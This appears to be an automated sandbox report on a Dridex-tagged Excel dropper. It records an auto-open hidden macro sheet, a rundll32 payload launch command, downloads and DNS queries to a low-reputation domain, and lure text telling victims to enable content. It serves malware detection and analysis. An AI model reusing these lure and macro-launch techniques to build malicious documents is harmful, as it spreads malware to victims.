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Analysis Report IovwfUybUJ.xlsx

Overview

General Information

Sample Name:	IovwfUybUJ.xlsx
Analysis ID:	411582
MD5:	bcb5f8c6da6103a5bbd4891095f807af
SHA1:	fccc0e19a042d3da003bc4184b32c784ca5dfd14
SHA256:	9872498872843b5aae813d390df3e46ae02a4cc994ade723e4f5ba2973043fb7
Tags:	Dridex
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Found Excel 4.0 Macro with suspicious formulas

Found abnormal large hidden Excel 4.0 Macro sheet

Office document connecting to suspicious TLD

Outdated Microsoft Office dropper detected

Performs DNS queries to domains with low reputation

Potential document exploit detected (performs DNS queries with low reputation score)

Sigma detected: Microsoft Office Product Spawning Windows Shell

Excel documents contains an embedded macro which executes code when the document is opened

Potential document exploit detected (performs DNS queries)

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 2412 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

rundll32.exe (PID: 2640 cmdline: rundll32 ..\iuhdvcl.ckd,DllRegisterServer MD5: DD81D91FF3B0763C392422865C9AC12E)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: rundll32 ..\iuhdvcl.ckd,DllRegisterServer, CommandLine: rundll32 ..\iuhdvcl.ckd,DllRegisterServer, CommandLine|base64offset|contains: ], Image: C:\Windows\System32\rundll32.exe, NewProcessName: C:\Windows\System32\rundll32.exe, OriginalFileName: C:\Windows\System32\rundll32.exe, ParentCommandLine: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2412, ProcessCommandLine: rundll32 ..\iuhdvcl.ckd,DllRegisterServer, ProcessId: 2640

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for domain / URL

Show sources

Source: qvqy23thdsed03xjeqtf.xyz

Virustotal: Detection: 12%

Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: IovwfUybUJ.xlsx	Virustotal: Detection: 40%			Perma Link
Source: IovwfUybUJ.xlsx	ReversingLabs: Detection: 25%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe

Potential document exploit detected (performs DNS queries with low reputation score)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

DNS query: name: qvqy23thdsed03xjeqtf.xyz

Source: global traffic

DNS query: name: qvqy23thdsed03xjeqtf.xyz

Networking:

Office document connecting to suspicious TLD

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

DNS traffic detected: qvqy23thdsed03xjeqtf.xyz

Outdated Microsoft Office dropper detected

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

DNS query: qvqy23thdsed03xjeqtf.xyz is down

Performs DNS queries to domains with low reputation

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

DNS query: qvqy23thdsed03xjeqtf.xyz

Source: unknown

DNS traffic detected: query: qvqy23thdsed03xjeqtf.xyz replaycode: Name error (3)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\47B18D72.png

Jump to behavior

Source: rundll32.exe, 00000003.00000002.2099010236.0000000001AB0000.00000002.00000001.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: unknown

DNS traffic detected: queries for: qvqy23thdsed03xjeqtf.xyz

Source: rundll32.exe, 00000003.00000002.2099010236.0000000001AB0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000003.00000002.2099010236.0000000001AB0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000003.00000002.2099200495.0000000001C97000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000003.00000002.2099200495.0000000001C97000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: rundll32.exe, 00000003.00000002.2099200495.0000000001C97000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000003.00000002.2099200495.0000000001C97000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: rundll32.exe, 00000003.00000002.2099010236.0000000001AB0000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000003.00000002.2099200495.0000000001C97000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000003.00000002.2099010236.0000000001AB0000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000003.00000002.2099010236.0000000001AB0000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable Editing 11 from the yellow bar above 12 13 Once You have Enable Editing, please click Enab
Source: Screenshot number: 4	Screenshot OCR: Enable Content 14 from the yellow bar above 15 16 17 18 WHY I CANNOTOPEN THIS DOCUMENT? 19 2
Source: Document image extraction number: 9	Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing , please click Enable Conten
Source: Document image extraction number: 9	Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? You are using iOS or Andro
Source: Document image extraction number: 15	Screenshot OCR: Enable Editing from the yellow bar above CB Once You have Enable Editing, please click Enable Cont
Source: Document image extraction number: 15	Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? W You are using IDS or And

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: IovwfUybUJ.xlsx	Initial sample: CALL
Source: IovwfUybUJ.xlsx	Initial sample: EXEC

Found abnormal large hidden Excel 4.0 Macro sheet

Show sources

Source: IovwfUybUJ.xlsx	Initial sample: Sheet size: 16417
Source: IovwfUybUJ.xlsx	Initial sample: Sheet size: 5574

Source: workbook.xml

Binary string: " sheetId="1" r:id="rId1"/><sheet name="Doc1" sheetId="2" r:id="rId2"/><sheet name="Doc2" sheetId="3" r:id="rId3"/><sheet name="Doc3" sheetId="4" r:id="rId4"/><sheet name="Doc4" sheetId="5" r:id="rId5"/></sheets><definedNames><definedName name="_xlnm.Auto_Open">'Doc3'!$AU$11</definedName></definedNames><calcPr calcId="145621"/></workbook>

Source: rundll32.exe, 00000003.00000002.2099010236.0000000001AB0000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSX@3/11@1/0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$IovwfUybUJ.xlsx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRD596.tmp

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe rundll32 ..\iuhdvcl.ckd,DllRegisterServer

Source: IovwfUybUJ.xlsx	Virustotal: Detection: 40%
Source: IovwfUybUJ.xlsx	ReversingLabs: Detection: 25%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\iuhdvcl.ckd,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\iuhdvcl.ckd,DllRegisterServer	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: IovwfUybUJ.xlsx	Initial sample: OLE zip file path = xl/media/image3.png
Source: IovwfUybUJ.xlsx	Initial sample: OLE zip file path = xl/media/image4.png
Source: IovwfUybUJ.xlsx	Initial sample: OLE zip file path = xl/media/image1.png
Source: IovwfUybUJ.xlsx	Initial sample: OLE zip file path = xl/media/image2.png
Source: IovwfUybUJ.xlsx	Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
Source: IovwfUybUJ.xlsx	Initial sample: OLE zip file path = xl/printerSettings/printerSettings3.bin

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting21	Path Interception	Process Injection1	Masquerading1	OS Credential Dumping	File and Directory Discovery1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Non-Application Layer Protocol1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution31	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	System Information Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Rundll321	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Ingress Tool Transfer1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection1	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting21	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
IovwfUybUJ.xlsx	40%	Virustotal		Browse
IovwfUybUJ.xlsx	25%	ReversingLabs	Document-Office.Infostealer.Dridex

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
qvqy23thdsed03xjeqtf.xyz	12%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
qvqy23thdsed03xjeqtf.xyz	unknown	unknown	true	12%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	rundll32.exe, 00000003.00000002.2099200495.0000000001C97000.00000002.00000001.sdmp	false		high
http://www.windows.com/pctv.	rundll32.exe, 00000003.00000002.2099010236.0000000001AB0000.00000002.00000001.sdmp	false		high
http://investor.msn.com	rundll32.exe, 00000003.00000002.2099010236.0000000001AB0000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	rundll32.exe, 00000003.00000002.2099010236.0000000001AB0000.00000002.00000001.sdmp	false		high
http://www.icra.org/vocabulary/.	rundll32.exe, 00000003.00000002.2099200495.0000000001C97000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	rundll32.exe, 00000003.00000002.2099200495.0000000001C97000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	rundll32.exe, 00000003.00000002.2099010236.0000000001AB0000.00000002.00000001.sdmp	false		high
http://investor.msn.com/	rundll32.exe, 00000003.00000002.2099010236.0000000001AB0000.00000002.00000001.sdmp	false		high

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	411582
Start date:	12.05.2021
Start time:	02:22:58
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	IovwfUybUJ.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSX@3/11@1/0
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Found warning dialog Click Ok Attach to Office via COM Scroll down Close Viewer

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\32819ACB.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	557
Entropy (8bit):	7.343009301479381
Encrypted:	false
SSDEEP:	12:6v/7aLMZ5I9TvSb5Lr6U7+uHK2yJtNJTNSB0qNMQCvGEvfvqVFsSq6ixPT3Zf:Ng8SdCU7+uqF20qNM1dvfSviNd
MD5:	A516B6CB784827C6BDE58BC9D341C1BD
SHA1:	9D602E7248E06FF639E6437A0A16EA7A4F9E6C73
SHA-256:	EF8F7EDB6BA0B5ACEC64543A0AF1B133539FFD439F8324634C3F970112997074
SHA-512:	C297A61DA1D7E7F247E14D188C425D43184139991B15A5F932403EE68C356B01879B90B7F96D55B0C9B02F6B9BFAF4E915191683126183E49E668B6049048D35
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8Oc.......l.9a._.X....@.`ddbc.]...........O..m7.r0\|..."......?A.......w..;.N1u........_.[.\Y...BK=...F +.t.M~..oX..%....211o.q.P.".......y...../..l.r...4..Q]..h.....LL.d.......d....w.>{.e..k.7.9y.%.. .YpI...{.+Kv......./..\[...A....^.5c..O?.......G...VB..4HWY...9NU...?..S..$..1..6.U.....c... ....7..J. "M..5. ............_.......d.V.W.c.....Y.A..S....~.C.....q........t?..."n.....4......G_......Q..x..W.!L.a...3....MR.\|.-P#P;..p._.......jUG....X........IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\47B18D72.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 205 x 58, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	8301
Entropy (8bit):	7.970711494690041
Encrypted:	false
SSDEEP:	192:BzNWXTPmjktA8BddiGGwjNHOQRud4JTTOFPY4:B8aoVT0QNuzWKPh
MD5:	D8574C9CC4123EF67C8B600850BE52EE
SHA1:	5547AC473B3523BA2410E04B75E37B1944EE0CCC
SHA-256:	ADD8156BAA01E6A9DE10132E57A2E4659B1A8027A8850B8937E57D56A4FC204B
SHA-512:	20D29AF016ED2115C210F4F21C65195F026AAEA14AA16E36FD705482CC31CD26AB78C4C7A344FD11D4E673742E458C2A104A392B28187F2ECCE988B0612DBACF
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.......:......IJ.....sRGB.........pHYs..........+.... .IDATx^..\....}.\6"Sp...g..9Ks..r..=r.U....Y..l.S.2...Q.'C............h}x........... ......\..N...z....._.\|......III.666...~~~..6l.Q.J...\..m..g.h.SRR.\.p....'N...EEE...X9......c.&M...].n.g4..E..g...w...{..]..;w..I...y.m\...~..;.].3{~..qV.k..._....?..w/$GlI\|..2. m,,,.-[.....sr.V1..g...on...........dl.'...'''[[[.R.......(..^...F.PT.Xq..Mnnn.3..M..g.......6.....pP"#F..P/S.L...W.^..o.r.....5H......111t....\|9..3...`J..>...{..t~/F.b..h.P..]z..)......o..4n.F..e...0!!!......#""h.K..K.....g.......^..w.!.$.&...7n.].F.\\\.A....6lxjj.K/........g.....3g......f....:t..s..5.C4..+W.y...88..?.,Y. .^...8{.@VN.6....Kbch.=zt...7+T....v.z....P........VVV..."t.N......$..Jag.v.U...P[(_.I?.9.4i.G.$U..D......W.r...........!>\|..#G...3..x.b......P....H!.Vj......u.2..*;..Z..c..._Ga....&L.......`.1.[.n].7..W_m..#8k...)U..L.....G..q.F.e>..s.......q....J....(.N.V...k..>m....=.).

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4B18A11.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 485 x 185, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	34780
Entropy (8bit):	7.9888524748689225
Encrypted:	false
SSDEEP:	768:qKFodDvgUrYTD1EgYKRN4lME7h8kqn96Fv9DTVLlb:qK4Ys4xTYNlME78wVvVR
MD5:	3D0E5573022CD8A7F78291FC7959C19F
SHA1:	92A55931306950014C83BFB50997B5F1BAD489F1
SHA-256:	727E6480CC68136081EAF26F3CAD5C1970191F092BF44C524330365185A6E74C
SHA-512:	9E3F49874CE1FD1A97B3A7C192BE92515496D1E5F8883156A1C13F5BACD5A18BC1EE06EB9AE4A84E06A1919F4034D50A67E3EBD6FFC5743BEEC550C2F4F1BD85
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............i......sRGB.........pHYs..........+......IDATx^....]U.>.LK....B.U.....E..O......g..{A@..)R.............x...I2..C.g.=g......k.{..+:;;..W..T..G.MMMO>.....][[[.a.U.V.....\|gkk..c.<..1].Y..=...>x..../5P..u.l.T.>...i...K...+Wn.....cGCCC[[[cc._@s....8p...#.t..6ld.5c...;.p.7o.Q}..P{H.)^.!E...W5.s.N......Y.L...=.5....#.<.c.:......5..u.l.T....v...@?..c.<....>z...3.w.d.g....?.\|.>q..............Z....u.l...}...u.]....u.....c..>z..I.&=....+N:........+R..;m.J.5.............Pwtt...mH"F^...]v.ev)....K...R...:O...4...O..@z.._.....T`.9.}.k_..WN.<......[5...nUoZx?.......?~....z.6....Q.. .......5../..........c..2.^.p.cD......k.-Z.....{_..A..>.....m=(#}..h ....N..{L..?.._.....6....{oO^t..g..}..7.B.g...R...m.J.'4 ..R#.!..7..zO....1d../.........{.........b..2.I.@.u...y....o...^......4hP.Y]]....VUUe...pG..n?....yc ...#...G>r.....<xOj/}..@..{R......n...!5.z....".. S.L.....0a..3.MCm..".3_....6m./h{...?I.b.%K....#D..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5214BE50.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.595467031611744
Encrypted:	false
SSDEEP:	24:NLJZbn0jL5Q3H/hbqzej+0C3Yi6yyuq53q:JIjm3pQCLWYi67lc
MD5:	02DB1068B56D3FD907241C2F3240F849
SHA1:	58EC338C879DDBDF02265CBEFA9A2FB08C569D20
SHA-256:	D58FF94F5BB5D49236C138DC109CE83E82879D0D44BE387B0EA3773D908DD25F
SHA-512:	9057CE6FA62F83BB3F3EFAB2E5142ABC41190C08846B90492C37A51F07489F69EDA1D1CA6235C2C8510473E8EA443ECC5694E415AEAF3C7BD07F864212064678
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8O.T]H.Q..;3...?..fk.lR..R$.R.Pb.Q...B..OA..T$.hAD...J../..-h...fj..+....;s.vg.Zsw.=...{.w.s.w.@.....;..s...O........;.y.p........,...s1@ Ir.:... .>.LLa..b?h...l.6..U....1....r.....T..O.d.KSA...7.YS..a.(F@....xe.^.I..$h....PpJ...k%.....9..QQ....h..!H................./....2..J2..HG....A....Q&...k...d..&..Xa.t..E....E..f2.d(..v.~.P.+.pik+;...xEU.g....._xfw...+...(..pQ.(..(.U./..)..@..?..........f.'...lx+@F...+....)..k.A2...r~B,....TZ..y..9...`..0....q....yY....Q.......A.....8j[.O9..t..&...g. I@ ..;..X!...9S.J5..'.xh...8I.~.+...mf.m.W.i..{...+>P...Rh...+..br^$. q.^.......(..._.j...$..Ar...MZm\|...9..E..!U[S.fDx7<....Wd.......p..C......^MyI:...c.^..SI.mGj,.......!...h..$..;...........yD./..a...-j.^:.}..v....RQY.^......IEND.B`.

C:\Users\user\AppData\Local\Temp\2FDE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	84052
Entropy (8bit):	7.898235354624251
Encrypted:	false
SSDEEP:	1536:AP7WynK4Ys4xTYNlME78wVvV2fiWpIxTFLVSSu8KW5W7YQu:AJK4YBkmI2qWpsFLg18KuwYQu
MD5:	D742F24BB867B2F33782A977D82523FE
SHA1:	96462A057F390033856182E9EE600D58266BD270
SHA-256:	3D32037F66CB3C88ABC251EB39612AA30A5AE7743C3C560EBFD7B03AA4117724
SHA-512:	539ED930AF06DD3BF9FEBAD78629A17559F4A356235F80674DD84A5006F010FFDFD5E2A37CBB3BFF959A073CB1616C53456EE504A94D2F9084403CB68D386AAE
Malicious:	false
Reputation:	low
Preview:	.U.n.0....?..........C....I?.&..an.0........%..E..y........"j.Zv..X.Nz.].....O..$...;h....,..?l.`E..[..>s...+.....\|.".k.x.r-:...G..K.R.2.[..J<.T.nhy.d......T-.!.-E"......VZ.....t.!.P..$k..51.{H..!.G9...8........JFd.94TY.`..~..^a.;..0....F....1}......}\/._7.Ar..k.H0MI..BF........^..`*....j...?...e'.xDG.=.....b..s.o...]O.~9...&..=4s.....D..x.^.?...vb.....;...t.....}.1..s..b..PQ<g.\|x.<..../........._&j....AL..3....3.>...\|h)PG.y9$.........PK..........!..g.C....e.......[Content_Types].xml ...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed May 12 08:23:42 2021, atime=Wed May 12 08:23:42 2021, length=8192, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.488696264879744
Encrypted:	false
SSDEEP:	12:85QRRLgXg/XAlCPCHaXEKB8VXB/SnX+WnicvbCLbDtZ3YilMMEpxRljKATdJP9TK:85s/XT0K6VXMYeWXDv3qNrNru/
MD5:	CF9C7B389DC070C9FDD1BFAEF95CB8D8
SHA1:	27BEB192A5F9A87A6C73DC89148A5114D1B152CD
SHA-256:	510CE14870D11BCBC9F98A64BF281F149C4B944877B38F28B142CEAC462C5A4C
SHA-512:	549B39C25CECB37D7374B5C74DF2EA7637192D036AFED2D541191973CED586A0FF67DC380383020FE4A04C8F92181D864629B3E2BF075DD5B32506EB66210E7B
Malicious:	false
Reputation:	low
